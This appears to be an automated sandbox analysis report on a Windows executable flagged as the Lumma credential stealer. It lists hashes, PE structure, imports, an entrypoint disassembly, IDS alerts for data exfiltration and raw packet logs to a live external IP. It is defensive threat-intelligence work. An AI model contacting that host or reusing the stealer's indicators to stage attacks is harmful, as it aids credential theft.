Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465456372302432
Encrypted:	false
SSDEEP:	6144:LIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNRdwBCswSbD:MXD94+WlLZMM6YFHL+D
MD5:	C6F2C441ECD09FF966DA7E383574F832
SHA1:	E01AAFF5C7975302F087CD6ED3CC9F28096BD3DB
SHA-256:	D503C7CA9D6EE857ACDB7DA5164DE5AEF2A2D8924B9028B5E96E0E4D574D5766
SHA-512:	BA2E6C3FD851978CF7B80CF3F1B462A6A49E958DED31B645317191F5A75EBC9EF4FAE1273F82724D3757893F7538A54668AB2490773D806BE38F9B481F92067A
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmj...5..............................................................................................................................................................................................................................................................................................................................................}_..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.478193783736392
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	g1kWKm20Z5.exe
File size:	440'832 bytes
MD5:	33f4cf8b4c1f6c07e80c74669d31021b
SHA1:	a2d722720565ab8659c066aaf693f5b2ad8fb3d3
SHA256:	6b3ef3a90ba62f467b95d06765ab128bfec21ea012fd4f1e0927ca0d09169d86
SHA512:	1ef0b1eccd6dd90df14c0f0567f9a3b57e74ef74dbe44a764fece43fe6ca7d1df01bb2d7409c3167e74d6f27b862e4c68e5bdd32031a23a3f1f87af28290f240
SSDEEP:	6144:Cj0t6wsVjQTgZTI4CcWDLszhmMZcjRfIL5tMD1XqTS41rQ76iW51TLOF82Ul:CIt6wMMST0TuhmMZclSuBEpQcdL1
TLSH:	AF94BF0372E17C60F62687718F2ED6F8662EF5508F597BAB1A159A2F08B11B2C373315
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\..r...r...r.......r.......r.......r.......r...s.;.r.......r.......r.......r.Rich..r.........PE..L...u..a.................j.

File Icon


Icon Hash:	412d25010561973e

Static PE Info

General

Entrypoint:	0x408bc1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61B1DD75 [Thu Dec 9 10:41:57 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	496128ad91bbbd96eb429e15aca0d468

Entrypoint Preview

Instruction
call 00007F8C80F5CAC4h
jmp 00007F8C80F570AEh
push dword ptr [0045C0B8h]
call dword ptr [004010F4h]
test eax, eax
je 00007F8C80F57224h
call eax
push 00000019h
call 00007F8C80F5B5AAh
push 00000001h
push 00000000h
call 00007F8C80F5916Eh
add esp, 0Ch
jmp 00007F8C80F59133h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F8C80F57246h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F8C80F57270h
test ecx, 00000003h
jne 00007F8C80F57211h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F8C80F5720Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F8C80F57254h
test ah, ah
je 00007F8C80F57246h
test eax, 00FF0000h
je 00007F8C80F57235h
test eax, FF000000h
je 00007F8C80F57224h
jmp 00007F8C80F571EFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16c94	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2db000	0x113c0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4350	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1f0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16806	0x16a00	ceb684546bf2ba621dc0ff91b8bf007b	False	0.5262862569060773	data	6.399556964516839	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x18000	0x2c2fa8	0x43800	52a08bac948c68fbb07dc6b4fce62075	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2db000	0x113c0	0x11400	d63e69c9c54c8a044762721fd27e8a22	False	0.34288666213768115	data	4.049478983681206	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2db6a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4891696750902527
RT_ICON	0x2db6a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4891696750902527
RT_ICON	0x2dbf48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.554147465437788
RT_ICON	0x2dbf48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.554147465437788
RT_ICON	0x2dc610	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.5491329479768786
RT_ICON	0x2dc610	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.5491329479768786
RT_ICON	0x2dcb78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.43058161350844276
RT_ICON	0x2dcb78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.43058161350844276
RT_ICON	0x2ddc20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.41721311475409834
RT_ICON	0x2ddc20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.41721311475409834
RT_ICON	0x2de5a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.449468085106383
RT_ICON	0x2de5a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.449468085106383
RT_ICON	0x2dea70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.2798507462686567
RT_ICON	0x2dea70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.2798507462686567
RT_ICON	0x2df918	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.3957373271889401
RT_ICON	0x2df918	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.3957373271889401
RT_ICON	0x2dffe0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.39378612716763006
RT_ICON	0x2dffe0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.39378612716763006
RT_ICON	0x2e0548	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2232365145228216
RT_ICON	0x2e0548	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2232365145228216
RT_ICON	0x2e2af0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2807223264540338
RT_ICON	0x2e2af0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2807223264540338
RT_ICON	0x2e3b98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3008196721311475
RT_ICON	0x2e3b98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3008196721311475
RT_ICON	0x2e4520	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.34131205673758863
RT_ICON	0x2e4520	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.34131205673758863
RT_ICON	0x2e49f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.31636460554371004
RT_ICON	0x2e49f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.31636460554371004
RT_ICON	0x2e5898	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.3844765342960289
RT_ICON	0x2e5898	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.3844765342960289
RT_ICON	0x2e6140	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.41993087557603687
RT_ICON	0x2e6140	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.41993087557603687
RT_ICON	0x2e6808	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.3959537572254335
RT_ICON	0x2e6808	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.3959537572254335
RT_ICON	0x2e6d70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.24647302904564317
RT_ICON	0x2e6d70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.24647302904564317
RT_ICON	0x2e9318	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.2790806754221388
RT_ICON	0x2e9318	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.2790806754221388
RT_ICON	0x2ea3c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.28975409836065574
RT_ICON	0x2ea3c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.28975409836065574
RT_ICON	0x2ead48	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.32890070921985815
RT_ICON	0x2ead48	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.32890070921985815
RT_STRING	0x2eb4d8	0x3c4	data	Tamil	India	0.47614107883817425
RT_STRING	0x2eb4d8	0x3c4	data	Tamil	Sri Lanka	0.47614107883817425
RT_STRING	0x2eb8a0	0x218	data	Tamil	India	0.5205223880597015
RT_STRING	0x2eb8a0	0x218	data	Tamil	Sri Lanka	0.5205223880597015
RT_STRING	0x2ebab8	0x2d4	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0	Tamil	India	0.4613259668508287
RT_STRING	0x2ebab8	0x2d4	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0	Tamil	Sri Lanka	0.4613259668508287
RT_STRING	0x2ebd90	0x5a0	data	Tamil	India	0.4409722222222222
RT_STRING	0x2ebd90	0x5a0	data	Tamil	Sri Lanka	0.4409722222222222
RT_STRING	0x2ec330	0x90	data	Tamil	India	0.5972222222222222
RT_STRING	0x2ec330	0x90	data	Tamil	Sri Lanka	0.5972222222222222
RT_ACCELERATOR	0x2eb228	0x90	data	Tamil	India	0.6944444444444444
RT_ACCELERATOR	0x2eb228	0x90	data	Tamil	Sri Lanka	0.6944444444444444
RT_GROUP_ICON	0x2dea10	0x5a	data	Tamil	India	0.7222222222222222
RT_GROUP_ICON	0x2dea10	0x5a	data	Tamil	Sri Lanka	0.7222222222222222
RT_GROUP_ICON	0x2e4988	0x68	data	Tamil	India	0.7211538461538461
RT_GROUP_ICON	0x2e4988	0x68	data	Tamil	Sri Lanka	0.7211538461538461
RT_GROUP_ICON	0x2eb1b0	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x2eb1b0	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_VERSION	0x2eb2c8	0x20c	data			0.5553435114503816
None	0x2eb2b8	0xa	data	Tamil	India	1.8
None	0x2eb2b8	0xa	data	Tamil	Sri Lanka	1.8

Imports

DLL	Import
KERNEL32.dll	ConvertThreadToFiber, InterlockedIncrement, InterlockedDecrement, WaitNamedPipeA, SetMailslotInfo, ZombifyActCtx, QueryDosDeviceA, GetModuleHandleW, EnumTimeFormatsW, SetProcessPriorityBoost, GetPrivateProfileIntA, GetPrivateProfileStructW, GetCalendarInfoW, GetConsoleAliasExesLengthW, GetFileAttributesW, WriteConsoleW, SetSystemPowerState, GetModuleFileNameW, CompareStringW, GetVolumePathNameA, GetShortPathNameA, GetProfileIntA, GetLastError, GetProcAddress, AttachConsole, GetDriveTypeW, SearchPathA, ResetEvent, OpenWaitableTimerA, LoadLibraryA, GetProcessId, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, FindFirstVolumeMountPointW, AddAtomW, OpenJobObjectW, SetSystemTime, GlobalWire, FindNextFileA, EnumDateFormatsA, CreateIoCompletionPort, GetModuleHandleA, FreeEnvironmentStringsW, CreateMailslotA, EnumDateFormatsW, OpenSemaphoreW, FileTimeToLocalFileTime, GetVolumeNameForVolumeMountPointW, EnumCalendarInfoExA, EnumSystemLocalesW, AreFileApisANSI, GlobalDeleteAtom, SetComputerNameA, GlobalFix, CreateFileW, FlushFileBuffers, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, WideCharToMultiByte, HeapFree, HeapAlloc, DeleteFileA, HeapReAlloc, GetCommandLineA, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, LCMapStringW, MultiByteToWideChar, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, IsProcessorFeaturePresent, HeapCreate, ExitProcess, WriteFile, GetStdHandle, SetFilePointer, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, GetModuleFileNameA, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetLocaleInfoW, HeapSize, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetStringTypeW, GetConsoleCP, GetConsoleMode, LoadLibraryW, SetStdHandle, CloseHandle
GDI32.dll	GetCharABCWidthsA, SelectObject
WINHTTP.dll	WinHttpGetProxyForUrl

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T10:51:06.084853+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49736	94.158.244.69	80	TCP
2024-11-13T10:51:06.084853+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49944	94.158.244.69	80	TCP
2024-11-13T10:51:46.541425+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.4	49730	TCP
2024-11-13T10:52:08.509327+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49743	94.158.244.69	80	TCP
2024-11-13T10:52:17.471003+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49793	94.158.244.69	80	TCP
2024-11-13T10:52:24.735108+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.4	49877	TCP
2024-11-13T10:52:26.456597+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49844	94.158.244.69	80	TCP
2024-11-13T10:52:35.200891+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49895	94.158.244.69	80	TCP
2024-11-13T10:52:53.502274+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	49991	94.158.244.69	80	TCP
2024-11-13T10:52:54.285809+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50010	94.158.244.69	80	TCP
2024-11-13T10:52:54.285809+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50010	94.158.244.69	80	TCP
2024-11-13T10:53:11.490787+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50011	94.158.244.69	80	TCP
2024-11-13T10:53:20.255945+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50012	94.158.244.69	80	TCP
2024-11-13T10:53:29.154805+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50013	94.158.244.69	80	TCP
2024-11-13T10:53:37.909184+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50014	94.158.244.69	80	TCP
2024-11-13T10:53:46.703991+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50015	94.158.244.69	80	TCP
2024-11-13T10:53:55.471170+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.4	50016	94.158.244.69	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 10:51:51.021006107 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.037643909 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.037710905 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.037914038 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.038527966 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.046174049 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046190977 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046231985 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.046260118 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.046308994 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046319962 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046329021 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046338081 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046351910 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.046381950 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.046405077 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046413898 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046422005 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.046431065 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051115990 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051172018 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051183939 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051192999 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051213026 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.051296949 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:51.069289923 CET	49736	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:51:51.074245930 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:51:59.519512892 CET	80	49736	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.020899057 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:00.025996923 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.026246071 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:00.026247025 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:00.026686907 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:00.031249046 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031753063 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031784058 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031811953 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031841040 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031907082 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031934977 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.031963110 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.032023907 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.032052040 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:00.032089949 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:08.509216070 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:08.509326935 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.510354042 CET	49743	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.516621113 CET	80	49743	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:08.979197025 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.984241962 CET	80	49793	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:08.984340906 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.984435081 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.984817982 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:08.989370108 CET	80	49793	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:08.989670992 CET	80	49793	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:17.467288971 CET	80	49793	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:17.471003056 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.471162081 CET	49793	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.476130009 CET	80	49793	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:17.967411041 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.972816944 CET	80	49844	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:17.972913027 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.973020077 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.973377943 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:17.978399992 CET	80	49844	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:17.978751898 CET	80	49844	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:26.456470966 CET	80	49844	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:26.456597090 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.456686974 CET	49844	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.462404966 CET	80	49844	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:26.699780941 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.710021019 CET	80	49895	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:26.710119009 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.710982084 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.711991072 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:26.715842962 CET	80	49895	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:26.716898918 CET	80	49895	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:35.200824976 CET	80	49895	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:35.200891018 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:35.201375008 CET	49895	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:35.206146002 CET	80	49895	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.041203976 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.046175957 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.046273947 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.046396017 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.046822071 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.051170111 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.051237106 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.051846981 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.051898956 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.052115917 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.052175999 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.052851915 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.052908897 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.052985907 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.053034067 CET	49944	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:36.054101944 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.054291010 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.054905891 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.054919004 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.054924965 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.056119919 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.056782007 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.056905985 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.057102919 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.057117939 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.058147907 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:36.101469040 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:44.534466982 CET	80	49944	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:45.022811890 CET	49991	80	192.168.2.4	94.158.244.69
